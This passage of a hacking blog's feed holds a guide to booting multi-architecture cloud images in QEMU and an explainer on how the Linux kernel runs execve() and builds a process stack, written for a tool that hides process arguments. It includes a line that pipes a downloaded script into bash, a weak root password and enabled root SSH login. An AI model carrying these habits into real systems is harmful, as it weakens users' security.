<p>Create the <code>seed.img</code> file (aka cloud-init) and download and enlarge the cloud image:</p>
<pre><code class="lang-bash">cloud-localds seed.img user-data.yaml metadata.yaml
[[ ! -f <span class="hljs-string">"<span class="hljs-variable">${IMAGE:?}</span>"</span> ]] &amp;&amp; wget <span class="hljs-string">"<span class="hljs-variable">${URL}</span>"</span>
qemu-img resize <span class="hljs-string">"<span class="hljs-variable">${IMAGE}</span>"</span> 32G
</code></pre>
<p>Boot the VM:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">unset</span> ARGS
[[ -e /dev/kvm ]] &amp;&amp; ARGS+=(<span class="hljs-string">"-enable-kvm"</span>)
[[ <span class="hljs-variable">$ARCH</span> == amd64 ]] &amp;&amp; ARCH=<span class="hljs-string">"x86_64"</span>
[[ <span class="hljs-variable">$ARCH</span> == arm64 ]] &amp;&amp; ARCH=<span class="hljs-string">"aarch64"</span>
[[ <span class="hljs-variable">$ARCH</span> == aarch64 ]] &amp;&amp; ARGS=(<span class="hljs-string">"-machine"</span> <span class="hljs-string">"virt"</span> <span class="hljs-string">"-bios"</span> <span class="hljs-string">"/usr/share/qemu-efi-aarch64/QEMU_EFI.fd"</span> <span class="hljs-string">"-cpu"</span> <span class="hljs-string">"cortex-a57"</span>)
[[ <span class="hljs-variable">$ARCH</span> == ppc64el ]] &amp;&amp; ARCH=ppc64le
[[ <span class="hljs-variable">$ARCH</span> == ppc64le ]] &amp;&amp; <span class="hljs-built_in">unset</span> ARGS
qemu-system-<span class="hljs-variable">${ARCH}</span> \
    -m 1G \
    -nographic \
    <span class="hljs-string">"<span class="hljs-variable">${ARGS[@]}</span>"</span> \
    -device virtio-net-pci,netdev=net0 \
    -netdev user,id=net0,hostfwd=tcp:127.0.0.1:2222-:22 \
    -drive <span class="hljs-string">"if=virtio,format=qcow2,file=<span class="hljs-variable">${IMAGE}</span>"</span> \
    -drive <span class="hljs-string">"if=virtio,format=raw,file=seed.img"</span> \
    -virtfs <span class="hljs-built_in">local</span>,path=/sec,mount_tag=host0,security_model=passthrough
</code></pre>
<p>The Linux Kernel will boot and you can log in with <code>root</code> / <code>segfault</code> or with <code>ssh -p 2222 root@0</code>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1695820430358/caae5956-e524-4f32-80c5-704a19799722.jpeg" alt class="image--center mx-auto" /></p>
<p>Optional: Install and run an Alpine Linux inside Docker (inside the guest VM):</p>
<pre><code class="lang-bash">sudo bash
bash -c <span class="hljs-string">"<span class="hljs-subst">$(curl -fsSL https://get.docker.com)</span>"</span>
docker run --rm -it alpine
</code></pre>
<hr />
<p>Set the <code>URL=</code> to a different location to start any other OS of any architecture. Examples:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Ubuntu ARM64 (aarch64)</span>
URL=<span class="hljs-string">"https://cloud-images.ubuntu.com/releases/jammy/release/ubuntu-22.04-server-cloudimg-arm64.img"</span>
<span class="hljs-comment"># Ubuntu PowerPC-64</span>
URL=<span class="hljs-string">"https://cloud-images.ubuntu.com/releases/jammy/release/ubuntu-22.04-server-cloudimg-ppc64el.img"</span>
<span class="hljs-comment"># Centos x86_64</span>
URL=<span class="hljs-string">"https://cloud.centos.org/centos/7/images/CentOS-7-x86_64-GenericCloud.qcow2"</span>
<span class="hljs-comment"># OpenBSD x86_64</span>
URL=<span class="hljs-string">"https://object-storage.public.mtl1.vexxhost.net/swift/v1/1dbafeefbd4f4c80864414a441e72dd2/bsd-cloud-image.org/images/openbsd/7.3/2023-04-22/ufs/openbsd-7.3-2023-04-22.qcow2"</span>
<span class="hljs-comment"># FreeBSD x86_64</span>
URL=<span class="hljs-string">"https://object-storage.public.mtl1.vexxhost.net/swift/v1/1dbafeefbd4f4c80864414a441e72dd2/bsd-cloud-image.org/images/freebsd/13.2/2023-04-21/zfs/freebsd-13.2-zfs-2023-04-21.qcow2"</span>
</code></pre>
<p>Note:</p>
<ol>
<li><p>For OpenBSD, edit <code>user-data.yaml</code> and change:<br /> <code>hashed_passwd: '$2b$06$mbQdo90rertzSkoBBeZCzePTMtdkx7cuOax8xv.1W5ta0tJiNAlMG'</code></p>
</li>
<li><p>For FreeBSD, edit <code>user-data.yaml</code> and change:</p>
<p> <code>sed -i "" 's/#PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config</code></p>
</li>
</ol>
<p>Other Cloud Servers:</p>
<ol>
<li><p><a target="_blank" href="https://bsd-cloud-image.org/">https://bsd-cloud-image.org/</a></p>
</li>
<li><p><a target="_blank" href="https://cloud-images.ubuntu.com/releases/">https://cloud-images.ubuntu.com/releases/</a></p>
</li>
<li><p><a target="_blank" href="https://cloud.centos.org/centos/7/images/CentOS-7-x86_64-GenericCloud.qcow2">https://cloud.centos.org/centos/7/images/</a></p>
</li>
</ol>
<p>Go all the way down the rabbit hole and read about <a target="_blank" href="https://iq.thc.org/cross-compiling-exploits">cross-compiling exploits</a>. Or read how to <a target="_blank" href="https://iq.thc.org/starting-a-user-mode-linuxdebian-os-as-an-unprivileged-linux-user">Start a User-Mode-Linux</a>.</p>
<hr />
<p><em>Shoutz to crt, MRX7014, Matthew and Ray San.</em></p>
]]></content:encoded></item><item><title><![CDATA[How does Linux start a process]]></title><description><![CDATA[In this article, you will learn what happens inside the Linux Kernel when a process calls execve(), how the Kernel prepares the stack and how control is then passed to the userland process for execution.
I had to learn this for the development of Zap...]]></description><link>https://iq.thc.org/how-does-linux-start-a-process</link><guid isPermaLink="true">https://iq.thc.org/how-does-linux-start-a-process</guid><category><![CDATA[hacking]]></category><category><![CDATA[Linux]]></category><category><![CDATA[coding]]></category><category><![CDATA[exploit]]></category><dc:creator><![CDATA[root]]></dc:creator><pubDate>Thu, 14 Sep 2023 15:12:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1694703736184/c0f26e9e-cfa0-4c43-a6cf-c053ea6efcf7.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this article, you will learn what happens inside the Linux Kernel when a process calls <code>execve()</code>, how the Kernel prepares the stack and how control is then passed to the userland process for execution.</p>
<p>I had to learn this for the development of <a target="_blank" href="https://github.com/hackerschoice/zapper">Zapper</a> - a Linux tool to delete all command line options from any process (without needing root).</p>
<h3 id="heading-overview">Overview</h3>
<ol>
<li><p>The Kernel receives SYS_execve() by a userland program.</p>
</li>
<li><p>The Kernel reads the executable file (specific sections) into specific memory locations.</p>
</li>
<li><p>The Kernel prepares the stack, heap, signals, ...</p>
</li>
<li><p>The Kernel passes execution to the userland program.</p>
</li>
</ol>
<h3 id="heading-examining-a-binary">Examining a binary</h3>
<p>Let us start with a simple Linux C program:</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span> *argv[<span class="hljs-number">0</span>])</span> </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>Compile it with <code>gcc -static -o none none.c</code> and find out some details:</p>
<pre><code class="lang-yaml"><span class="hljs-string">$</span> <span class="hljs-string">readelf</span> <span class="hljs-string">-h</span> <span class="hljs-string">none</span>
<span class="hljs-attr">ELF Header:</span>
  <span class="hljs-attr">Magic:</span>   <span class="hljs-string">7f</span> <span class="hljs-number">45</span> <span class="hljs-string">4c</span> <span class="hljs-number">46</span> <span class="hljs-number">02</span> <span class="hljs-number">01</span> <span class="hljs-number">01</span> <span class="hljs-number">03</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>
  <span class="hljs-attr">Class:</span>                             <span class="hljs-string">ELF64</span>
  <span class="hljs-attr">Data:</span>                              <span class="hljs-number">2</span><span class="hljs-string">'s complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - GNU
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x4014f0
  Start of program headers:          64 (bytes into file)
  Start of section headers:          760112 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         10
  Size of section headers:           64 (bytes)
  Number of section headers:         30
  Section header string table index: 29</span>
</code></pre>
<p>The first instructions start at the 'Entry Point' at <code>0x4014f0</code>. These instructions were created by the compiler (<code>gcc</code>, <code>go</code>, etc). They differ by compiler.</p>
<p>Let's load the binary into gdb and <code>disass 0x4014f0</code> the instructions. The instructions perform a bit of housekeeping but eventually will call <code>main()</code> (or the GoLang equivalent).</p>
<p>Let's set a break-point at the Entry Point (<code>0x4014f0</code>)and run the app with two command line options (<code>firstarg</code> and <code>secondarg</code>):</p>
<pre><code class="lang-yaml"><span class="hljs-string">gdb</span> <span class="hljs-string">./none</span>
<span class="hljs-string">pwndbg&gt;</span> <span class="hljs-string">disass</span> <span class="hljs-number">0x4014f0</span>
<span class="hljs-string">pwndbg&gt;</span> <span class="hljs-string">br</span> <span class="hljs-string">*0x4014f0</span>
<span class="hljs-string">pwndbg&gt;</span> <span class="hljs-string">r</span> <span class="hljs-string">firstarg</span> <span class="hljs-string">secondarg</span>
 <span class="hljs-string">►</span> <span class="hljs-number">0x4014f0</span> <span class="hljs-string">&lt;_start&gt;</span>       <span class="hljs-string">xor</span>    <span class="hljs-string">ebp,</span> <span class="hljs-string">ebp</span>
   <span class="hljs-number">0x4014f2</span> <span class="hljs-string">&lt;_start+2&gt;</span>     <span class="hljs-string">mov</span>    <span class="hljs-string">r9,</span> <span class="hljs-string">rdx</span>
   <span class="hljs-number">0x4014f5</span> <span class="hljs-string">&lt;_start+5&gt;</span>     <span class="hljs-string">pop</span>    <span class="hljs-string">rsi</span>
[<span class="hljs-string">...</span>]
<span class="hljs-string">──────────────────────[</span> <span class="hljs-string">STACK</span> <span class="hljs-string">]──────────────────────</span>
<span class="hljs-number">00</span><span class="hljs-string">:0000│</span> <span class="hljs-string">rsp</span> <span class="hljs-number">0x7ffca4229540</span> <span class="hljs-string">◂—</span> <span class="hljs-number">0x3</span>
<span class="hljs-number">01</span><span class="hljs-string">:0008│</span>     <span class="hljs-number">0x7ffca4229548</span> <span class="hljs-string">—▸</span> <span class="hljs-number">0x7ffca422a4b3</span> <span class="hljs-string">◂—</span> <span class="hljs-string">'/sec/root/none'</span>
<span class="hljs-number">02</span><span class="hljs-string">:0010│</span>     <span class="hljs-number">0x7ffca4229550</span> <span class="hljs-string">—▸</span> <span class="hljs-number">0x7ffca422a4c2</span> <span class="hljs-string">◂—</span> <span class="hljs-string">'firstarg'</span>
<span class="hljs-number">03</span><span class="hljs-string">:0018│</span>     <span class="hljs-number">0x7ffca4229558</span> <span class="hljs-string">—▸</span> <span class="hljs-number">0x7ffca422a4cb</span> <span class="hljs-string">◂—</span> <span class="hljs-string">'secondarg'</span>
<span class="hljs-number">04</span><span class="hljs-string">:0020│</span>     <span class="hljs-number">0x7ffca4229560</span> <span class="hljs-string">◂—</span> <span class="hljs-number">0x0</span>
<span class="hljs-number">05</span><span class="hljs-string">:0028│</span>     <span class="hljs-number">0x7ffca4229568</span> <span class="hljs-string">—▸</span> <span class="hljs-number">0x7ffca422a4d5</span> <span class="hljs-string">◂—</span> <span class="hljs-string">'BASH_ENV=/etc/shellrc'</span>
[<span class="hljs-string">...</span>]
</code></pre>
<p>(If you are using gdb without pwngdb then you may need to <code>x/64a $rsp</code> to list the first 64 entries from the stack.)</p>
<p>The Stack Pointer <code>rsp</code> is at <code>0x7ffd4f48bd10</code>. Let's find out the end of the stack with <code>grep -F '[stack]' /proc/$(pidof none)/maps</code>:</p>
<pre><code class="lang-yaml"><span class="hljs-string">7ffd4f46c000-7ffd4f48d000</span> <span class="hljs-string">rw-p</span> <span class="hljs-number">00000000</span> <span class="hljs-number">00</span><span class="hljs-string">:00</span> <span class="hljs-number">0</span>         [<span class="hljs-string">stack</span>]
</code></pre>
<p>The Kernel has allocated the stack memory from <code>0x7ffd4f46c000</code> to <code>0x7ffd4f48d000</code> - a total of 132 KB. It will grow dynamically up to 8MB (<code>ulimit -s</code> kilobytes). Our program (so far; see <code>rsp</code>) only uses the stack from the <code>rsp</code> address (<code>0x7ffd4f48bd10</code>) down to the same end of the stack (<code>0x7ffd4f48d000</code>) - a total of 4,848 bytes (<code>echo $((0x7ffd4f48d000 - 0x7ffd4f48bd10))</code> == 4848).</p>
<p>This is the 'birth' of the execution: The Kernel, in all its braveness, has passed control to our program. Our program is about to execute its very first instruction - to take its very first step (so to say).</p>
<p>What is on the stack right now is all the information the program gets from the Kernel to run. It contains the argument list, the environment variables and a lot of other interesting information.</p>
<p>For <a target="_blank" href="https://github.com/hackerschoice/zapper">Zapper</a> we had to manipulate the argument list, move stack values around, adjust the pointers and then pass control back to the program - without it falling over. It was prudent to understand a bit better what the Kernel had put on the stack.</p>
<p>Let's dump the stack:</p>
<pre><code class="lang-yaml"><span class="hljs-string">pwndbg&gt;</span> <span class="hljs-string">dump</span> <span class="hljs-string">binary</span> <span class="hljs-string">memory</span> <span class="hljs-string">stack.dat</span> <span class="hljs-string">$rsp</span> <span class="hljs-number">0x7ffd4f48d000</span>
</code></pre>
<p>and load it into <code>hd &lt;stack.dat</code> or <code>xxd &lt;stac.dat</code> and have a little sneak preview...</p>
<pre><code class="lang-yaml"> <span class="hljs-number">03</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">b3</span> <span class="hljs-string">a4</span> <span class="hljs-number">22</span> <span class="hljs-string">a4</span> <span class="hljs-string">fc</span> <span class="hljs-string">7f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">|..........".....|</span>
 <span class="hljs-string">c2</span> <span class="hljs-string">a4</span> <span class="hljs-number">22</span> <span class="hljs-string">a4</span> <span class="hljs-string">fc</span> <span class="hljs-string">7f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">cb</span> <span class="hljs-string">a4</span> <span class="hljs-number">22</span> <span class="hljs-string">a4</span> <span class="hljs-string">fc</span> <span class="hljs-string">7f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">|..".......".....|</span>
 <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">d5</span> <span class="hljs-string">a4</span> <span class="hljs-number">22</span> <span class="hljs-string">a4</span> <span class="hljs-string">fc</span> <span class="hljs-string">7f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">|..........".....|</span>
 <span class="hljs-string">eb</span> <span class="hljs-string">a4</span> <span class="hljs-number">22</span> <span class="hljs-string">a4</span> <span class="hljs-string">fc</span> <span class="hljs-string">7f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-number">11</span> <span class="hljs-string">a5</span> <span class="hljs-number">22</span> <span class="hljs-string">a4</span> <span class="hljs-string">fc</span> <span class="hljs-string">7f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">|..".......".....|</span>
 <span class="hljs-number">25</span> <span class="hljs-string">a5</span> <span class="hljs-number">22</span> <span class="hljs-string">a4</span> <span class="hljs-string">fc</span> <span class="hljs-string">7f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-number">30</span> <span class="hljs-string">a5</span> <span class="hljs-number">22</span> <span class="hljs-string">a4</span> <span class="hljs-string">fc</span> <span class="hljs-string">7f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">|%.".....0.".....|</span>
[<span class="hljs-string">...</span>]
 <span class="hljs-string">b4</span> <span class="hljs-string">5c</span> <span class="hljs-number">18</span> <span class="hljs-string">e0</span> <span class="hljs-string">ed</span> <span class="hljs-string">f9</span> <span class="hljs-string">fb</span> <span class="hljs-string">0d</span>  <span class="hljs-number">30</span> <span class="hljs-number">78</span> <span class="hljs-number">38</span> <span class="hljs-number">36</span> <span class="hljs-string">5f</span> <span class="hljs-number">36</span> <span class="hljs-number">34</span> <span class="hljs-number">00</span>  <span class="hljs-string">|.\......0x86_64.|</span>
 <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">|................|</span>
<span class="hljs-string">*</span>
 <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-string">2f</span> <span class="hljs-number">73</span> <span class="hljs-number">65</span> <span class="hljs-number">63</span> <span class="hljs-string">2f</span>  <span class="hljs-number">72</span> <span class="hljs-string">6f</span> <span class="hljs-string">6f</span> <span class="hljs-number">74</span> <span class="hljs-string">2f</span> <span class="hljs-string">6e</span> <span class="hljs-string">6f</span> <span class="hljs-string">6e</span>  <span class="hljs-string">|.../sec/root/non|</span>
 <span class="hljs-number">65</span> <span class="hljs-number">00</span> <span class="hljs-number">66</span> <span class="hljs-number">69</span> <span class="hljs-number">72</span> <span class="hljs-number">73</span> <span class="hljs-number">74</span> <span class="hljs-number">61</span>  <span class="hljs-number">72</span> <span class="hljs-number">67</span> <span class="hljs-number">00</span> <span class="hljs-number">73</span> <span class="hljs-number">65</span> <span class="hljs-number">63</span> <span class="hljs-string">6f</span> <span class="hljs-string">6e</span>  <span class="hljs-string">|e.firstarg.secon|</span>
 <span class="hljs-number">64</span> <span class="hljs-number">61</span> <span class="hljs-number">72</span> <span class="hljs-number">67</span> <span class="hljs-number">00</span> <span class="hljs-number">42</span> <span class="hljs-number">41</span> <span class="hljs-number">53</span>  <span class="hljs-number">48</span> <span class="hljs-string">5f</span> <span class="hljs-number">45</span> <span class="hljs-string">4e</span> <span class="hljs-number">56</span> <span class="hljs-string">3d</span> <span class="hljs-string">2f</span> <span class="hljs-number">65</span>  <span class="hljs-string">|darg.BASH_ENV=/e|</span>
 <span class="hljs-number">74</span> <span class="hljs-number">63</span> <span class="hljs-string">2f</span> <span class="hljs-number">73</span> <span class="hljs-number">68</span> <span class="hljs-number">65</span> <span class="hljs-string">6c</span> <span class="hljs-string">6c</span>  <span class="hljs-number">72</span> <span class="hljs-number">63</span> <span class="hljs-number">00</span> <span class="hljs-number">43</span> <span class="hljs-number">48</span> <span class="hljs-number">45</span> <span class="hljs-number">41</span> <span class="hljs-number">54</span>  <span class="hljs-string">|tc/shellrc.CHEAT|</span>
 <span class="hljs-string">5f</span> <span class="hljs-number">43</span> <span class="hljs-string">4f</span> <span class="hljs-string">4e</span> <span class="hljs-number">46</span> <span class="hljs-number">49</span> <span class="hljs-number">47</span> <span class="hljs-string">5f</span>  <span class="hljs-number">50</span> <span class="hljs-number">41</span> <span class="hljs-number">54</span> <span class="hljs-number">48</span> <span class="hljs-string">3d</span> <span class="hljs-string">2f</span> <span class="hljs-number">65</span> <span class="hljs-number">74</span>  <span class="hljs-string">|_CONFIG_PATH=/et|</span>
[<span class="hljs-string">...</span>]
 <span class="hljs-number">55</span> <span class="hljs-string">4d</span> <span class="hljs-string">4e</span> <span class="hljs-number">53</span> <span class="hljs-string">3d</span> <span class="hljs-number">31</span> <span class="hljs-number">31</span> <span class="hljs-number">38</span>  <span class="hljs-number">00</span> <span class="hljs-string">2f</span> <span class="hljs-number">73</span> <span class="hljs-number">65</span> <span class="hljs-number">63</span> <span class="hljs-string">2f</span> <span class="hljs-number">72</span> <span class="hljs-string">6f</span>  <span class="hljs-string">|UMNS=118./sec/ro|</span>
 <span class="hljs-string">6f</span> <span class="hljs-number">74</span> <span class="hljs-string">2f</span> <span class="hljs-string">6e</span> <span class="hljs-string">6f</span> <span class="hljs-string">6e</span> <span class="hljs-number">65</span> <span class="hljs-number">00</span>  <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">|ot/none.........|</span>
</code></pre>
<p>Lots of pointers. Lots of strings. Lots of unknowns.</p>
<p>Let's follow the call from <code>execve()</code> to the program's entry point.</p>
<p>The <code>execve()</code> calls the Kernel via a syscall which then calls <a target="_blank" href="https://elixir.bootlin.com/linux/v5.19.17/source/fs/exec.c#L2091">do_execve</a><a target="_blank" href="https://elixir.bootlin.com/linux/v3.18/source/fs/exec.c#L1604">()</a>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694689587779/d00e7f77-f08b-45ae-8f5e-8c4317a08ca4.jpeg" alt class="image--center mx-auto" /></p>
<p>Eventually, this ends up in <a target="_blank" href="https://elixir.bootlin.com/linux/v5.19.17/source/fs/exec.c#L1870"><code>do_execveat_common()</code></a>. The <code>bprm</code> structure is created and all kinds of information about the program are assigned to it (see <a target="_blank" href="https://elixir.bootlin.com/linux/v5.19.17/source/include/linux/binfmts.h#L18">binfmts.h</a>).</p>
<p>Important to us, the program's filename, environment variables and options (<code>argv</code>) are copied from Kernel memory to the process's stack. The stack grows towards the lower addresses: The first item put on the stack (the <code>bprm-&gt;filename</code>) is thus at the largest address on the stack (the bottom) and above it (e.g. smaller addresses) comes the envp and then the argv.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694692329780/0d59e630-8ee6-46d7-9c4b-4b085d47ec81.jpeg" alt class="image--center mx-auto" /></p>
<p>We follow to <a target="_blank" href="https://elixir.bootlin.com/linux/v5.19.17/source/fs/exec.c#L1803"><code>bprm_execve()</code></a> where some checks are completed before calling <code>exec_binprm()</code>. From there into <a target="_blank" href="https://elixir.bootlin.com/linux/v5.19.17/source/fs/exec.c#L1709"><code>search_binary_handler()</code></a> where the Kernel checks if the binary is ELF, a shebang (<code>#!</code>) or any other type registered via the binfmt-misc module. The kernel then calls the appropriate function to load the binary.</p>
<p>In our case, it's an ELF binary and so <a target="_blank" href="https://elixir.bootlin.com/linux/v5.19.17/source/fs/binfmt_elf.c#L824"><code>load_elf_binary()</code></a> is called. The kernel creates the memory and thereafter maps the sections from the binary file into memory. It calls <code>begin_new_exec()</code> to set all credentials and permissions for the new process.</p>
<p>The kernel then checks if the ELF binary should be loaded by an interpreter (<code>ld.so</code>):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694695192603/88c3de6a-d9c7-47db-9cb9-ec9e50cbe616.jpeg" alt class="image--center mx-auto" /></p>
<p>or, in the case of a static binary like ours, loaded directly without an interpreter:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694695234011/ebddbec8-18c2-4a50-adbf-a458fa1898aa.jpeg" alt class="image--center mx-auto" /></p>
<p>Finally, <a target="_blank" href="https://elixir.bootlin.com/linux/v5.19.17/source/fs/binfmt_elf.c#L174"><code>create_elf_tables()</code></a> is called. This is where all the stack magic happens that we are interested in.</p>
<p>First, the function <a target="_blank" href="https://elixir.bootlin.com/linux/v5.19.17/source/fs/binfmt_elf.c#L202">arch_align_stack()</a> adds a random amount of zeros to the stack (e.g. stack randomization) to make (some) buffer overflow exploits work (a little) less reliably. It then aligns the stack to 16 bytes (e.g. sets the stack pointer to the next lower address that is aligned to 16 bytes with <code>&amp; ~0xf</code>).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694700797913/5634c916-d11f-4969-b3f8-e36463c2b81c.jpeg" alt class="image--center mx-auto" /></p>
<p>The kernel then puts <code>x86_64\0</code> onto the stack and next adds 16 bytes of random data on top (which libc uses as a seed for its PRNG):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694696469130/3e834162-db00-4142-87e6-77be6bb79aeb.jpeg" alt class="image--center mx-auto" /></p>
<p>The kernel then creates the elf auxiliary table: A collection of (id, value) pairs that describe useful information about the program being run and the environment it is running in, communicated from the kernel to user space.</p>
<p>The list ends with a Zero Identifier and Zero value (e.g. 16 bytes of 0x00). There are about 20 entries (320 bytes) in the list.</p>
<p>The table starts with ARCH_DLINFO (which expands to AT_SYSINFO_EHDR + <a target="_blank" href="https://elixir.bootlin.com/linux/v5.19.17/source/include/uapi/linux/auxvec.h#L37">AT_MINSIGSTKSZ</a>).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694698104767/d2eec03d-7591-46e3-b24d-909c23ce04e7.jpeg" alt class="image--center mx-auto" /></p>
<p>The 'Identifiers' are defined in <a target="_blank" href="https://elixir.bootlin.com/linux/v5.19.17/source/include/uapi/linux/auxvec.h">auxvec.h</a>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694803734032/0d8f0f47-ccd3-4949-a650-81a36e867372.png" alt class="image--center mx-auto" /></p>
<p>In <code>gdb</code> the elf auxiliary table from our program's stack looks like this (Note: The 'Identifier' values above are in decimal but gdb shows them in hex):</p>
<pre><code class="lang-yaml">[<span class="hljs-string">...</span> <span class="hljs-string">above</span> <span class="hljs-string">is</span> <span class="hljs-string">argc</span> <span class="hljs-string">...</span>]
[<span class="hljs-string">...</span> <span class="hljs-string">above</span> <span class="hljs-string">is</span> <span class="hljs-string">argvp</span> <span class="hljs-string">...</span>]
[<span class="hljs-string">...</span> <span class="hljs-string">above</span> <span class="hljs-string">here</span> <span class="hljs-string">is</span> <span class="hljs-string">envp</span> <span class="hljs-string">...</span>]
<span class="hljs-attr">0x7ffca42296a8:</span> <span class="hljs-number">0x21</span>    <span class="hljs-number">0x7ffca4351000</span>    <span class="hljs-string">&lt;--</span> <span class="hljs-string">AT_SYSINFO_EDHR</span>
<span class="hljs-attr">0x7ffca42296b8:</span> <span class="hljs-number">0x33</span>    <span class="hljs-number">0xd30</span>             <span class="hljs-string">&lt;--</span> <span class="hljs-string">AT_MINSIGSTKSZ</span>
<span class="hljs-attr">0x7ffca42296c8:</span> <span class="hljs-number">0x10</span>    <span class="hljs-number">0x178bfbff</span>        <span class="hljs-string">&lt;--</span> <span class="hljs-string">AT_HWCAP</span>
<span class="hljs-attr">0x7ffca42296d8:</span> <span class="hljs-number">0x6</span>     <span class="hljs-number">0x1000</span>            <span class="hljs-string">&lt;--</span> <span class="hljs-string">AT_PAGESZ</span>
<span class="hljs-attr">0x7ffca42296e8:</span> <span class="hljs-number">0x11</span>    <span class="hljs-number">0x64</span>
<span class="hljs-attr">0x7ffca42296f8:</span> <span class="hljs-number">0x3</span>     <span class="hljs-number">0x400040</span>
<span class="hljs-attr">0x7ffca4229708:</span> <span class="hljs-number">0x4</span>     <span class="hljs-number">0x38</span>
<span class="hljs-attr">0x7ffca4229718:</span> <span class="hljs-number">0x5</span>     <span class="hljs-number">0xa</span>
<span class="hljs-attr">0x7ffca4229728:</span> <span class="hljs-number">0x7</span>     <span class="hljs-number">0x0</span>
<span class="hljs-attr">0x7ffca4229738:</span> <span class="hljs-number">0x8</span>     <span class="hljs-number">0x0</span>
<span class="hljs-attr">0x7ffca4229748:</span> <span class="hljs-number">0x9</span>     <span class="hljs-number">0x4014f0</span>         <span class="hljs-string">&lt;--</span> <span class="hljs-string">Our</span> <span class="hljs-string">entry</span> <span class="hljs-string">point</span>
<span class="hljs-attr">0x7ffca4229758:</span> <span class="hljs-number">0xb</span>     <span class="hljs-number">0x0</span>
<span class="hljs-attr">0x7ffca4229768:</span> <span class="hljs-number">0xc</span>     <span class="hljs-number">0x0</span>
<span class="hljs-attr">0x7ffca4229778:</span> <span class="hljs-number">0xd</span>     <span class="hljs-number">0x0</span>
<span class="hljs-attr">0x7ffca4229788:</span> <span class="hljs-number">0xe</span>     <span class="hljs-number">0x0</span>
<span class="hljs-attr">0x7ffca4229798:</span> <span class="hljs-number">0x17</span>    <span class="hljs-number">0x0</span>
<span class="hljs-attr">0x7ffca42297a8:</span> <span class="hljs-number">0x19</span>    <span class="hljs-number">0x7ffca42297f9</span>   <span class="hljs-string">&lt;--</span> <span class="hljs-string">Ptr</span> <span class="hljs-string">to</span> <span class="hljs-string">Random</span>
<span class="hljs-attr">0x7ffca42297b8:</span> <span class="hljs-number">0x1a</span>    <span class="hljs-number">0x2</span>
<span class="hljs-attr">0x7ffca42297c8:</span> <span class="hljs-number">0x1f</span>    <span class="hljs-number">0x7ffca422afe9</span>   <span class="hljs-string">&lt;--</span> <span class="hljs-string">Ptr</span> <span class="hljs-string">to</span> <span class="hljs-string">filename</span>
<span class="hljs-attr">0x7ffca42297d8:</span> <span class="hljs-number">0xf</span>     <span class="hljs-number">0x7ffca4229809</span>   <span class="hljs-string">&lt;--</span> <span class="hljs-string">Ptr</span> <span class="hljs-string">to</span> <span class="hljs-string">x86_64</span>
<span class="hljs-attr">0x7ffca42297e8:</span> <span class="hljs-number">0x0</span>     <span class="hljs-number">0x0</span>                  <span class="hljs-string">&lt;--</span> <span class="hljs-literal">NULL</span> <span class="hljs-string">+</span> <span class="hljs-literal">NULL</span>
[<span class="hljs-string">...</span> <span class="hljs-string">ELF</span> <span class="hljs-string">table</span> <span class="hljs-string">stops</span> <span class="hljs-string">here</span> <span class="hljs-string">...</span>]
